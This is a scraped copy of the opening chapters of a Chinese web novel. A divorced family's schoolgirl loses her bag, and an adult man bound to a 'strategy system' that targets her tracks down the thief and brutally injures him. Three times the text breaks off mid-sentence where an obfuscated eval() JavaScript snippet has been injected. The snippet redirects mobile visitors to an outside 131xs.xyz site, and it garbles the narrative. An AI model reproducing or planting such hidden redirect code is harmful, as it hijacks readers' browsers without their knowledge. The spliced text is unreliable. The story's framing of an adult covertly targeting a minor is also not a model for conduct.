《当霸总绑定攻略系统后》 1. Round 1 “知意,来,妈妈有话跟你说。” 江知意咽下最后一口米饭,喝了口水,慢吞吞地走到沙发上坐下。 苏语琴有点紧张,眼神飘忽一下才深吸口气,看向她道:“是这样的,爸爸妈妈想了很久,决定还是离婚。” 说完最后一个字,她安静下来,像在试探江知意会有什么反应。 江知意没反应。 她连眼皮都没有掀一下,冷漠道:“哦。” 见江知意如此平静,苏语琴暗暗松了口气。 她就怕江知意反对,怕江知意跟她闹。 “知意,妈妈这么做也是没办法,我和你爸实在过不下去了。” 苏语琴心虚一般地找补,被江知意冷不丁打断:“离婚证拿了吗?” 苏语琴一愣:“拿了。” “哦。” 还是冷漠的一个字回应。 然而这个字的潜台词在苏语琴听来,就像是嘲讽——“拿了还说什么。” 气氛一时陷入僵局。 苏语琴不知道说什么,沉默片刻道:“妈妈最近要出差,没法在家陪你,给你留一万块,有什么需要你看着买,别乱花。” 她说着,拿出一张银行卡和一张写了密码的便签。 江知意看了银行卡几秒,一言不发地接过。 气氛又陷入诡异的沉默。 江知意等了一会儿,见苏语琴还没有开口的意思,轻轻抬眼:“还有事吗?” “……” “没了。” 江知意点头,将银行卡装进校服口袋,然后起身:“那我去上学了。” 她走到门口,身后忽然响起脚步声,苏语琴追上来,嘴唇翕动几下,似乎想说什么。 江知意投去疑惑的目光:“还有事?” “没事。”苏语琴勉强笑了一下,然后说,“下午好好上课,好好听讲。” 江知意终于忍不住露出一个讥笑。 她扯了下嘴角:“我们这两天考试,不上课。” 苏语琴勉强的笑容彻底僵在脸上。 江知意看着她难看的笑,心里有微妙的痛快。 高三刚开学,学校组织第一次模拟考,苏语琴但凡对她上点心,都不至于对这件事一无所知。 她就喜欢看苏语琴的遮羞布被扯下后的表情。 明明没关心过她,却偏偏喜欢做这些表面工夫,她自己不觉得可笑吗? 江知意冷笑一声,用力关上了门。 九月初,盛夏的热意还在,江知意坐上公交车来到了学校。 回家折腾了一趟,这会儿已经快两点了。 江知意来到考场,教室已经坐好大半的人。 考场按年级名次排,和她同班的几个同学见到她来,立刻凑上来,笑嘻嘻地说:“学霸,下午考数学,来找你蹭蹭运气。” 江知意笑了,好脾气道:“行啊,蹭吧。” 其中一个双手合掌,深吸一口气:“我吸——” 还没吸完,另一个同学一巴掌扇过他头顶:“少吸点,这么多人呢!” 他们闹成一团,江知意看着他们抿唇而笑。 这种东西只是求个心安,都是嘴上说说,没人会真的当真。毕竟上学这么无聊,任何与学习无关的事都能引起大家的兴趣。 这期间又陆陆续续有同学来到考场,三三两两以班为单位聚成几个小圈子,有些打闹,有些聊课外八卦,有些对早上的语文答案。 没多久,老师抱着卷子进来,考场瞬间安静下来。 大家自觉回到座位,想到即将面临的数学考试,表情都变得凝重严肃。 当然,这其中不包括江知意。 卷子发下来后,江知意心无旁骛地写写算算,一脸轻松。 等考试结束的铃声响起,老师抱着卷子离开,教室里立刻发出此起彼伏的哀嚎声。 “我靠这数学出的什么鬼题!” “我跪了啊,这次我又考砸了!” “出这么难的题要死啊!” “数学滚出高考!” “……” 江知意还在收拾文具,班上就有几个同学围上来。 “学霸,11题选择你选的什么?” “填空第三第四答案是什么?” “还有我还有我,学霸你倒数第二题算的多少?” 江知意看看自己的草稿纸,一一回答。 有人与江知意答案一样,立刻狂喜:“哈我对了!我对了!!!我跟江知意答案一样!” 有人与江知意答案不一样,捶胸顿足:“完了我错了,凉了啊,这次又凉了!” 有人则把江知意的草稿纸直接拿走:“学霸我对一下选择填空答案,马上还你!” “让我也对一下!” “我也对一下!” 草稿纸被拿走,立刻引得一拨人围上去,江知意这边反倒空了几分,只剩两个仍围在她旁边。 其中一个叫李博的拧眉看着草稿本,终于一拍大腿:“我靠,我从第一步就算错了,我服了!12分就这么没了!” 懊悔情绪溢于言表,江知意不由看了一眼他的草稿本。 是一道关于数列的题。 第一步很简单,通过等差数列的求和公式算出通项公式。 他连第一步都算错,后面的自然全盘皆错。 江知意想了想,抬头问他:“我有一个关于等差数列的小技巧,你要听吗?” 李博一愣,眼里放出光来:“当然!” 不止李博,另一个围在她身边的同学也凑上来。 于是江知意拿出笔,在草稿本上写下两个公式。 分别是等差数列的通项公式与求和公式—— an=a1+(n-1)d sn=[(a1+an)n]/2 江知意边写边说:“然后我们把an代入下面的公式里,sn就变成这样。” 草稿本上的公式随之一变—— sn=a1n+[dn(n-1)]/2 江知意:“现在我们把这两个公式变一下形,按系数从最高项写到常数项。” 草稿本上的公式继续变。 an=dn+(a1-d) sn=1/2dn2+(a1-1/2d)n 江知意写好,敲敲笔,指向两个公式的最高项系数:“一个d,一个1/2d,发现规律了吗?” 李博愣愣道:“an的最高项系数是sn的二倍。” “对了。”江知意露出笑容,继续问,“你再看两个公式的系数之和,d+(a1-d),1/2d+(a1-1/2d),它们什么关系?” “相等。”脱口而出这个答案,李博意识到什么。 “没错,所以发现这个规律后,你就可以一秒钟通过an求sn,通过sn求an。”她想了想,举了个例子,“假如an=4n+1,那sn等于多少?” 李博凝神,一秒钟后道:“2n2+3n。” “对了。”江知意放下笔,心满意足道,“只是一个省时间的小技巧,除了方便计算,大题里你也可以根据它们的系数关系快速得出一些结论。” 她拿起书包:“走吧,我们该回教室了。” 李博还沉浸在小技巧里,他想了又想,心服口服道:“难怪你每次都考第一,江知意,你太强了。” 他夸得直接,江知意反倒有些不好意思。 她礼貌笑笑,没再多说,从同学堆里拿回自己的草稿纸,向教室走去。 “江知意!”没走几步,身后有人叫她。 江知意闻声回头,看到刚才同样围在她身边的王鑫追上来。 他提着书包和她并肩,开口:“江知意,这次我又没考过你。” 江知意点头:“然后呢?” 王鑫将书包单肩背起,没有看她,低头踢开一个小石子:“你真的很厉害。” “嗯?”江知意不明所以。 “遇到你之前,我一直都觉得女生学不好数学。” 他说着抬起头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585772|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目视前方,鼓足勇气:“直到遇见你。” 江知意惊讶看他。 平心而论,王鑫的数学也算前几,遇到难题时,他们偶尔也会交流思路。 但这么掏心掏肺的话,江知意还是第一次从他口中听到。 王鑫依旧没有看她。 他们这个年纪,感情还比较简单纯粹,同学之间多是打闹或者问题,第一次说这么正经认真的话,他反倒不敢看她的眼睛了。 江知意看他几秒,微笑道:“谢谢。” 虽然她不该骄傲膨胀,可听到这么直白的夸奖,江知意还是不免开心了下。 谁会嫌弃夸奖多呢。 她既高兴自己的能力被认可,也高兴自己凭实力改变了王鑫的看法。 女生学不好数学? 不。 女生当然能学好数学。 考完试就回到教室开始上自习。 七点放学,江知意作为走读生,收拾好书包,和同为走读生的同桌一起下楼。 同桌叫王瑜,是个女生,她们经常一起搭伙去公交车站。 王瑜挽上她的手臂,八卦道:“对了,我刚刚收拾书包,听见李博在窗边嚷嚷学校对面停了辆豪车,等会儿要不要看看?” “豪车?”江知意笑着打趣,“有多豪?” “我也不知道,我就是顺路听了一耳朵,李博喜欢车,我看他扒在窗户那儿说了一大堆外形啊性能什么的,我一句都听不懂。”王瑜耸耸肩,“能让李博那么激动,那车肯定很豪,不知道又是哪个领导的车。” “你要是想看,那我们就顺路去看看。” “好啊好啊。”王瑜更亲密地挽紧她胳膊,“走走走,去长长见识。” 来到校门外,果然见到一辆不同寻常的车。 江知意不懂车,但那辆车停在学校对面,凡是路过的车都识趣地避远了些,她就判断出这车确实挺贵。 否则刮了蹭了,可不是一般人能赔得起的。 豪车通体漆黑,只有细节几处用银色做了点缀,车型流畅美观,浑身上下都散发着“我很贵”的气质。 不过,除了显眼的车,还有一个显眼的人。 一个气质斐然的男人。 隔着一条马路,不断有车经过,江知意其实看不清他长什么样,可他站在那里,随意往车上一靠,就无端让人觉得英俊出众。 男人身穿一身黑西装,脚下一双黑皮鞋,明明跟卖保险的穿得差不多,可就是让人觉得……不像卖保险的。 就是让人觉得,他有一种睥睨众生的高傲感,与这条熙攘的街道格格不入。 公交车按着喇叭从马路中间飞驰而过,隔开了江知意的视线,等车开过,马路重新变得开阔,江知意发现,原本低敛着眸的男人不知什么时候,看向了她的方向。 王瑜扯她的袖子,奇怪道:“江知意,你看见豪车边上那个人了吗,你有没有觉得他在看你?” 江知意愣了一下,立刻向自己身后看去,没看见其他人,她又转回来。 男人还在看她这个方向。 明明隔了一条马路,隔了这么多学生,他的目光却像钉子一样钉在她身上。 带着几分审视的意味。 “江知意,你认识他?”王瑜继续问。 “不认识。” 她的确不认识他。 说完两句话,男人还在看她。 没有丝毫多余的动作。 就只是看着。 江知意觉得不适,有种被奇怪人士盯上的感觉。 这人该不会……来自什么拐卖少女的组织,正在盯梢她吧? 她收回目光,匆匆拉着王瑜向公交车站走:“走啦,快回家,明天还有考试呢,你不复习了?” 王瑜这才回神:“啊对对对,我都忘了明天还要考理综和英语了。” 两人向车站走去,而对面的男人——傅延青,终于收回目光。 系统的声音在脑海中响起:“看见了吗宿主,她就是你要攻略的对象,江知意。” 2. Round 1 上公交车之前,江知意刻意看了一眼校门口的方向。 男人没再看她,垂眸点了一支烟,没等几秒又掐灭,拉开车门上了车。 江知意看到他上车,趁着人多,悄悄挤上了公交车。 车上空间狭小,到处都是人挤人,各种味道混杂在一起,烟味儿,汗味儿,水果味儿,还有学生买的辣条味儿,江知意觉得难闻,但次数多了,她已经习惯。 车摇摇晃晃地开了,清凉的风从窗外吹进来,驱散了几分夏末的燥意。 江知意将手伸进校服兜里,摸到那张银行卡,握紧了它。 苏语琴出差,家里没其他人,这张银行卡就是她的全部。 倘若丢了…… 她可不信苏语琴会再给她一万块。 苏语琴一定会说——“丢了?怎么可能丢了?那么重要的东西你也能丢?江知意,你不会是故意说丢了然后找我多要钱吧?” 她甚至能想见苏语琴说这些话的表情神态和语气。 不像王瑜的妈妈,听说王瑜丢了钱,第一反应是王瑜有没有事,有没有遇到什么危险。 ……为什么苏语琴不能这样。 四站后,江知意下了车。 车站离小区还有一段距离,她得步行走完剩下的路。 傍晚时分,天有点黑了,路上是下班的工薪族和放学的学生。 江知意边走边想今天下午考的一道数学题。 答案过程已经明了,但有一个错误的思路,她要想想那个思路错在哪里。 只有想明白本质,下次遇到才不会出错。 等走到小区门口,错误的原因刚好有了眉目。 她拿钥匙开了单元楼的门,左右看看没什么可疑的人,才迅速走进去关上门。 坐电梯上到15楼,来到家门前,江知意再次环顾一圈周围,确认没有任何可疑,开门走了进去。 关上门,看着安静死气沉沉的家,她有种意料之中的感觉。 苏语琴已经走了。 门口玄关处所有关于她的东西都不见了,外套,丝巾,包…… 这几乎给了江知意一种错觉,仿佛苏语琴不是去出差,而是彻底离开了这个家。 半晌,她脱鞋向里走去,坐在沙发上取出银行卡和手机,将一万块悉数转入了自己的微信。 做完这一切,江知意终于心安几分。 卡是苏语琴的,不是她的。 只有将一万块握在自己手里,才是最安心的。 * 第二天考英语和理综,放学后江知意没有再见到那个男人。 第三天老师讲卷子,男人同样没有出现。 第四天亦是,男人仿佛昙花一现,偶然路过,只为了给他们枯燥的高三生活提供谈资。 最开始两天,李博总会兴致勃勃讲起那辆豪车,但高三节奏太快,没多久,连李博也不再提了。 江知意打起精神警惕了三天,最后也不免觉得是自己多心了。 也是,哪有拐卖少女的人穿得那么明显的。 第四天放学,江知意带着发下来的模拟卷去了一趟养老院。 养老院在家的反方向,比回家的路略远一些,等到养老院的时候,天只剩下最后一层余晖。 她轻车熟路地走进去,一路上遇到工作人员,她们跟她打招呼:“知意,又来看你奶奶啊。” 江知意笑着点头。 来到病房前,她从书包里掏出卷子,装做顺路的模样走了进去。 同房的室友出去遛弯,房间只剩奶奶一个人,听到脚步声,她抬起头,露出笑容:“小姑娘,你又来看奶奶啦。” 小姑娘。 这个陌生的称呼江知意已经听过无数次,可再次听到时,她的心还是一酸。 奶奶已经很久没叫过她“知意”了。 她得了老年痴呆,不认得她,见到她时,也只会以为她是别人家的小姑娘。 正因如此,苏语琴才不愿费心管她,才会把她送到养老院来。 养老院,听起来是个好地方,什么都有,还有专人陪,可江知意知道,这不是什么好地方。 每天醒来,看到的景是朝气蓬勃还是暮气沉沉,那种感觉是不一样的。 在江知意看来,养老院就像一个死亡倒计时的地方。 时不时就会听到谁谁谁去世了,谁谁谁又走了。 在这种死亡阴影笼罩的地方生活,怎么可能安然度日。 “嗯。”江知意轻声应着,走上前道,“我看到门开着,就来看看您。” “诶。”奶奶笑眯眯道,注意到她手中的卷子,问,“你们最近考试了吗?” “考了,高三开学第一次模考。”江知意说着展开卷子,“奶奶你看,我是第一。” 最上面的卷子用红笔写着近乎满分的分数,她眸色亮晶晶的,眼神简单又纯粹,既骄傲,又期待着夸奖。 “哎呀,第一,太厉害了。”奶奶接过卷子,惊叹地看着上面的分数,连声夸赞,“数学可不好考呢,小姑娘太厉害了。” 奶奶将试卷翻来翻去,翻到无话可说,自言自语道:“我们家知意数学也很厉害呢。” 很轻的一声,语气低落,又带着几分想念。 江知意知道这是奶奶在想她了。 在奶奶的视角,“江知意”已经很久没来见她了。 可奶奶不知道,她就在她眼前。 “是啊。”江知意笑,“她没转学的时候,我也考不过她,她走了我才能考第一的。” “诶!”奶奶不乐意,板起脸,“哪会,你和我们家知意一样厉害,不许这么说。” 她说着拿起枕边的小铁盒递给江知意:“奶奶知道你们喜欢吃甜食零食,这是奶奶攒下来的糖,你拿着回去吃。” 铁盒打开,里面是花花绿绿各色各样的糖。 水果糖,奶糖,硬糖,软糖,巧克力…… 装了满满一盒。 江知意还在愣怔,奶奶将铁盒又往前递了递:“快收着吧。” “对了小姑娘,你能不能帮奶奶一个忙?”将铁盒塞给她后,奶奶又从枕头下取出一封皱巴巴的信,“能不能,把这封信寄给我们家知意?” “奶奶不会寄信,不知道怎么联系她,能不能麻烦你,帮奶奶寄个信?” 江知意鼻尖蓦地一酸。 她咬着唇将泪意逼回,才神色如常地笑着说:“好啊奶奶,我帮您寄,等江知意回了,我再把回信拿给您。” 见她应下,奶奶松一口气,拉着她的手感激道:“唉,谢谢你啊小姑娘,等你下次来,奶奶多给你攒点零食。” 江知意取下书包,将信放在书包最里面的夹层,装好糖,乖乖应道:“谢谢奶奶。” 拉好书包拉链,江知意望一眼窗外的天,还没黑透,于是提议道:“奶奶,我陪您走走吧,出去散会儿步,活动活动。” “这么晚,你不回家了?奶奶不要紧,你学习重要,赶紧回家吧。” “没事的奶奶,走一走,十分钟就能回来。” 江知意坚持,手已挽上奶奶的胳膊,奶奶说不过她,只得答应。 搀扶着奶奶来到养老院的楼前空地,太阳已落下大半,最后一缕霞光笼罩天际,瑰丽绚烂,末日般华丽。 九月初秋,绿叶已有泛黄凋零之势。 树下零零散散铺着几片落叶。 江知意看到落叶,起了玩心,上前踩了一脚。 落叶没有如她所想发出清脆的断裂声,她遗憾地叹口气。 在很小的时候,每逢秋天,她就喜欢玩这种游戏。 踩着落叶,听着咔嚓咔嚓的声音,心里宁静又快乐。 奶奶注意到她的小动作,说:“叶子还软呢,现在踩没声的,等过一个月天气再干些,踩了才好听。” “喔。”江知意笑笑,蹦蹦跳跳又回来扶奶奶,“那我不玩了,再陪您走一圈就回家。” 晚霞中,一老一小的身影相互依偎,格外温馨。 远处,傅延青看着江知意的背影,淡淡吐出一口烟圈。 系统道:“怎么样宿主,她是不是很可爱!” 傅延青没应。 可爱吗? 踩个落叶高兴成那样,就是可爱? 这是他第二次见江知意,直至此刻,他依旧没从她身上看出什么特别之处。 攻略她么…… 应该是件很容易的事。 烟渐渐燃尽,傅延青掐灭烟,正准备上前,系统突然尖叫道:“糟了宿主!有人偷江知意的书包!” * 绕着空地转了两圈,扶着奶奶回到房间,江知意一眼就发现自己的书包不见了。 明明散步前还在奶奶床上的,可是现在,它不见了。 江知意手脚冰凉,明明是初秋,她却觉得有股冷空气灌入了自己的血管,冷得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585773|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她发抖。 书包里……奶奶给她的信她还没拆呢。 好好的放在床上,怎么会不见? 谁会偷她的书包? 奶奶没注意,回到房间就催促着她回家,催了几句才发现她没背书包,继而才发现床上的书包不见了。 奶奶问:“小姑娘,你的书包呢?” 江知意不知作何回答。 她不想让奶奶担心,强压着自己的不安,咽了下口水才装做镇定模样道:“应该是,哪个姐姐帮我收起来了,我出去问问就好。” 心里乱成一片,江知意再顾不上别的,匆忙告别道:“奶奶我先走了,下次再来看你。” “诶,路上小心,早点回家啊。”奶奶在身后喊道。 大步出了房间,江知意第一反应是去找认识的工作人员查监控。 她经常来养老院看奶奶,不少姐姐都眼熟她,会心疼她一个人而多照顾她些。 顺着走廊拐过一个弯,江知意叫住一个工作人员:“姐姐!” 工作人员闻声回头,露出笑容:“知意,是你啊,怎么了?” “你们这里是不是装了很多监控?姐姐,我书包丢了,想查一下监控可以吗?” 工作人员皱眉:“书包丢了?在哪里丢的?” “在我奶奶房间。” “这……”工作人员一时为难,“为了老人的隐私,我们是不在房内设置监控的,只有走廊上能看到哪些人进出房间。” “那让我看看走廊上的监控可以吗?”江知意焦急追问。 工作人员还是一脸为难,她微微弯腰看她:“知意,一般来说院内监控是不可以随便调看的,我也不好做主,要不你先说说书包里有什么,有贵重物品的话我可以帮你向组长申请一下。” 书包里有…… 其实也没有什么值钱的东西。 最值钱的手机在她身上,余额为0的银行卡在家里,剩下的,也只有课本作业卷子钥匙,和奶奶刚给她的糖和信。 但奶奶给她的东西,显然不会被判定为贵重物品。 江知意攥紧袖子,声音艰涩道:“有我家钥匙。” 工作人员想了想,安抚道:“那我找组长申请试试,不过我要提前说一声,别报太大希望。” 她说完转身,往远处走了几步,拿出手机,拨通了组长的电话。 时间一分一秒地过去,江知意紧张地等待结果。 一分钟后,工作人员走过来歉疚笑笑:“不好意思啊知意,组长说非重大财产损失不可以随便调看监控,所以……” 她想了想,努力安慰道:“其实养老院每天都有很多人来往,就算查到监控也不能确定是谁顺走了你的书包,既然重要的东西只有钥匙,那直接换锁才是最省事的,找人太浪费时间了。现在换锁也不贵,你回家跟你妈妈说一声,她不会怪你的。” 江知意还想说什么,远处已有人在叫:“小赵,忙完了吗,快过来搭把手。” “来了。”工作人员应了声,拍拍她的肩,“那你早点回家啊,姐姐先去忙了。” 江知意:“姐……” 刚发出一个音节,工作人员已经匆跑远。 江知意:“……” 这就完了吗? 所以奶奶给她的信和糖就这样没了吗? 江知意迷茫站在原地,不知道该怎么办。 理智告诉她,她应该立刻回家找人换锁,毕竟钥匙丢了不是什么好事,万一被偷家,她不敢想苏语琴会怎样对她。 可是……她又想试试报警。 万一能找回来呢? 她握着手机犹豫了一路,终于在走到养老院门口时做出了决定。 就在这时,江知意看见了自己的书包。 她看见她的书包出现在一个男人手里。 落日西沉,暗色的夜幕下,仍是那辆显眼的豪车,仍是那个显眼的人。 一身贵气逼人的黑色西装,一双黑亮的皮鞋。 即便已经几天没见,可男人的穿着和气质都太出挑,让人过目不忘,江知意只看了一眼,就认出他是几天前出现在校门外的男人。 男人站在车边,单手拎着书包带子,神情闲散又漫不经心,像在等什么人。 蓦地,他抬眼看过来,与她的目光撞个正着。 下一秒,他轻抬下巴,将她的书包提起几分,像在示意—— “你的书包。” 3. Round 1 江知意没动,盯着书包没说话。 浅蓝色,肩带偏薄,拉链上挂了一个小香囊。 看起来跟她的一模一样。 如果真是她的书包,那为什么会出现在这个男人手里? 本以为那天的匆匆一撇只是偶然,可现在看来,好像不是。 江知意警觉地看了看四周,养老院门口是保安,大门前的街道不断有行人走过,甚至因为男人太过出众的长相,引来了一些似有若无的打量。 天蒙蒙黑,江知意站在原地,心几乎提到了嗓子眼。 她总觉得这个男人的出现有些莫名。 如果是他拿走的,他想干什么? 她迟迟未接,男人觉得疑惑,轻挑了下眉,开口:“你的书包,不要?” 晚风拂过,他的声音混在风里,一起飘向她耳中。 略带颗粒的质感,和他的人一样有辨识度,让人过耳不忘。 江知意大脑高速思考着各种可能性,硬邦邦问:“我的书包怎么会在你那里?” 男人忍不住笑了。 “当然是看到你的书包,顺手做件好人好事,拿来还给你。”他说着将书包向前递了递,“看看少了什么东西没有。” ——所以书包不是你拿的? 江知意忍了忍,还是没将这句话问出口。 男人个子极高,在身高力量的绝对优势下,她不是他的对手。 她得以保护自己为重。 江知意紧张得心怦怦直跳,上前两步,迅速将书包从他手中扯了过来。 紧接着后退几步,退回到安全距离,才低头开始检查。 从侧兜到书包夹层,一一翻过一遍后,江知意不得不承认,最糟糕的情况发生了。 除了书和卷子作业,其他东西都不见了。 她的水杯,她的信和糖,她的钥匙,都不见了。 …… 江知意茫然几秒,抬头又看向面前的男人。 他还没走,不知什么时候取了根烟,正准备点燃。 见她望过来,男人将烟从嘴里取出,漫不经心地问:“少了什么没有。” 除了书全少了。 江知意抿了下唇,换了种问法:“你在哪儿看到我的书包的?” “垃圾桶旁。” 江知意:“……” 这个答案真是让人觉得无语又合理。 这年头,连小偷都觉得书和作业是累赘,都懒得偷了。 她到底年轻,涉世未深,不善于藏心事,男人观察着她神情,淡淡反问:“真的少了?少了什么?” “没什么。”江知意丢下这句话就离开,走了两步又停下,硬邦邦补充道,“谢谢你帮我把书包送回来。” 既然确定钥匙丢了,那换锁才是当务之急。 至于奶奶的糖和信……只能等换完锁再说了。 就在这时,身后有人叫她的名字。 “江知意。” 很淡的一声,从容不迫,是那个过耳不忘的声音。 江知意下意识转身,惊疑不定地看着男人。 ——他怎么知道她的名字? 可转完身她就后悔了。 这样和不打自招有什么区别? 她不该承认她是江知意的,万一他有什么歹心呢? 男人慢步走向她,又问一遍:“少了什么?” 他随手将烟扔进路边的垃圾桶,接道:“我帮你找。” 头顶的路灯忽然闪了一下,发出细小的电流声。 昏黄的光投在地面上,映出两人的影子,一高一低。 江知意仰头看着莫名其妙的男人,心里涌起强烈的不安。 黑灯瞎火,他要干什么? 找书包吗? 他凭什么闲得慌帮她找书包? 他们又不认识。 又或者……书包只是借口,他的最终目标还是她? 江知意后退几步,咬咬牙,突然掉头就跑。 傅延青还没反应过来,少女已跑出十米之远,眨眼就没入了人群。 傅延青:“……” 系统跳出来破口大骂:“你吓唬她干什么啊,她只是个高中生!看看,都怪你太凶,把人家吓跑了!” 傅延青:“我凶?” 系统:“你不凶她怎么会跑?” 傅延青额头青筋跳了跳。 不欲与系统争吵,他直接问:“她少了什么?” 系统体贴道:“你应该问她没少什么。” “……”傅延青耐着性子,“她没少什么?” 系统:“就剩书和作业了。” 傅延青:“……” 他现在知道江知意听到“垃圾桶”后的表情是什么意思了。 “丢的东西里有没有比较重要的?” 系统检查一番,回答:“有。” “江知意奶奶写给江知意的信,江知意奶奶给江知意的糖,江知意的家门钥匙。” “这三样东西比较重要。” 傅延青:“那个人现在在哪儿,能找到吗?” 系统再次检查,定位:“熙春路,315号,他正在配江知意的钥匙。” * 钥匙没多久就配好了。 张永接过钥匙,挂在指尖转了几圈,美滋滋地做起计划。 那个女高中生他已经盯了好几天了。 他注意到她每天回家独来独往,没有家长接也没有家长送,楼上的灯只有在她回家才会亮起,凭他的经验,家里大概率没别人。 于是他瞅准机会,顺走了她的书包,果不其然在里面发现了她家门上的钥匙。 那时他跑得急,书包又重,他便将东西一股脑掏出来,只留下书和作业,然后和书包一起丢在了垃圾桶旁。 等跑到一个小巷子,他一翻,才发现这里面值钱的东西也就是一把钥匙。 除了钥匙,其他的东西连十块钱都不值。 真是个穷鬼。 瞥见小铁盒里的糖,他顺手取出一颗硬糖丢进嘴里,恨恨咬碎。 将东西重新装好,他决定先找个地方配钥匙做备用。 这样就算被警察追上勒令归还,他也有备用的可以碰碰运气。 他就赌她没钱换锁。 等钥匙配完,张永的心情放松许多,慢悠悠向江知意的小区走去,准备蹲点。 铁盒里的糖晃来晃去,发出声响,张永停下来,想再取一颗糖吃,手伸进去,先摸到的却是一封信。 皱巴巴的,边角处像是被水浸湿又晾干,摸起来凹凸不平。 对了,之前没顾上看,这信写的什么东西? 他将信从塑料袋拿出,正准备打开,面前忽然落下阴影,一只手揪住他的衣领,带着他狠狠撞向一旁的树干。 快到他的脊背感受到一阵剧痛后,他才反应过来发生了什么。 张永攥着信,双手去掰那只手,发现掰不动,破口大骂:“哪个狗东西敢动老……” 抬眸间,男人锋利的眉眼映入眼帘。 他一个字都没有说,却吓得张永一哆嗦。 那眼神……他实在没见过那样的眼神。 冰冷锐利,不怒自威,无端让人心里发怵,好像惹了他,就会有什么不可想象的下场。 男人一身西装革履,手上力道极巧,压制得他动弹不得,根本不似寻常卖保险的,一吓就求饶。 没等他想更多,整个人又被带得向树上撞去。 五脏六腑翻江倒海,他一阵痉挛,胃液差点吐出来。 男人松开手,张永像一滩泥一样软趴趴掉下去,手里的信也随之掉落。 男人将信捡起,弹了弹灰,轻慢道:“其他东西呢,还来。” 即便刚刚做出那样用力激烈的举动,他的声音也依旧是平淡的,从容不迫的。 仿佛从始至终,都没有将他放在眼里过。 张永张着嘴仰头看他:“你是……” 他是谁? 盯了这么多天,他从来没有在那个女学生身边见过他啊? 刚发出两个音节,右手就被一只皮鞋踩住。 深红色的鞋底,见鬼的干净。 男人踩着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585774|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手借力,捡起地上的塑料袋,一样一样翻看。 这样的场面超出张永的认知,他呆呆望着男人,一时竟不知该干什么。 很快,男人检查完,脚下一用力。 “啊!”鬼哭狼嚎的声音响起,张永痛叫,“你要干什么!来人啊,救命啊!” 他拼命呼救,却发现这地方该死的僻静,周围一个人都没有。 他感觉他的骨头都要被踩碎了。 张永恨恨看了一圈周围,没看见人,发狠伸出另一只手想要砸男人的脚,男人却比他更快,一抬脚,对准他的脸狠狠踹了一脚。 这一脚直接将他踹到几米之外。 血从脸上流出,留下狰狞的血痕,张永用左手抹了一把脸,看清手上的血迹后,颤抖着指向男人:“你信不信我报警!” 男人发出一声嗤笑。 他站在原地,优雅地理好袖口,嗓音淡淡道:“你试试。” 看着他转身,张永心里涌起羞愤不甘的情绪,他握紧拳,突然发狠冲向了男人。 ——结果又被发觉,男人侧身,踹在他肚子上,又将他踹出几米远。 像败家犬一样躺在地上,张永连说话的力气都没有了。 男人的第二脚比第一脚更狠,疼得他全身都蜷缩起来,轻轻发着抖。 然而还没完,男人微微蹙眉,似是觉得不悦,慢步走上来,抬脚踩上了他的另一只手。 下一秒,张永瞪大双眼,听到了骨头碎裂的声音。 “啊!!!!!!!” * 解决完张永,系统忍不住发表感想:“好蠢的人。” 自己案底一堆,还敢说报警,那人怎么想的? 傅延青:“他都靠偷窃为生了,你指望他有多高的智商,有多少见识?” “也是。”系统说,“那宿主现在要去找江知意吗?” “她回家了吗?” “回了。” 傅延青停下脚步,望一眼夜色:“算了,明天吧。” 他可不想被江知意当成跟踪狂。 回到车上,傅延青又确认了一遍三样东西。 钥匙,信,糖,嗯,齐了。 * 江知意用最快的速度找到开锁师傅换了锁。 换锁这事说来麻烦,需要一些杂七杂八的证明,幸好江知意从小在这儿长大,邻里之间都认识,物业的阿姨自然也不例外。 有物业作证,师傅又看她急得眼泪都要下来,也就破例简化了一次流程,没再执着要什么纸质证明。 换好锁后,江知意转了账,连声说了几遍谢谢才走进家门。 家里仍是空荡荡的,冷冷清清,毫无烟火气。 看着空无一人的家,她突然有种力气尽失的感觉。 今天课间她还听见后桌几个人在聊天,互相说着谁谁谁的家里做了什么好吃的,谁谁谁的家长每天都来接她。 大家都在全力备战高考,除了本人,连父母也是铆足了劲给予支持。 而苏语琴…… 什么都没有。 江知意站在门口呆呆看了一会儿才回神,她坐在鞋柜边,取下书包又里里外外看了一遍,发现情况比在养老院外粗略看的一眼更糟。 因为在垃圾桶旁蹭过,书包的带子和边边角角都蹭上了土和灰,甚至翻开里面的卷子和作业,还有几页沾上了不明液体,不知是剩下的汤汁还是倒掉的饮料,总之颜色浑浊,发出令人作呕的味道。 江知意忍着恶心,将书本卷子和作业取出,撕下沾了不明液体的几页,然后将书包放进洗衣机。 滚筒开始转动,江知意坐在洗衣机前,终于有心力想奶奶给她的信和糖。 那封信她还一个字没有看,也不知奶奶写了什么。 早知道就在养老院看了。 还有那盒糖…… 大概也找不回来了。 